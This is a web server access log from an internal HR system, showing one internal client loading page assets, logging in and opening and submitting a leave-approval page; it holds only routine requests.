192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9880
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9880 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:25:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:25:28 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.104 - - [06/Sep/2025:11:25:28 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:26:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:26:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10396
192.168.11.104 - - [06/Sep/2025:11:26:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10396 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 237519 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 237519
192.168.11.104 - - [06/Sep/2025:11:26:25 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:25 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:26:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:26:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:26:28 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
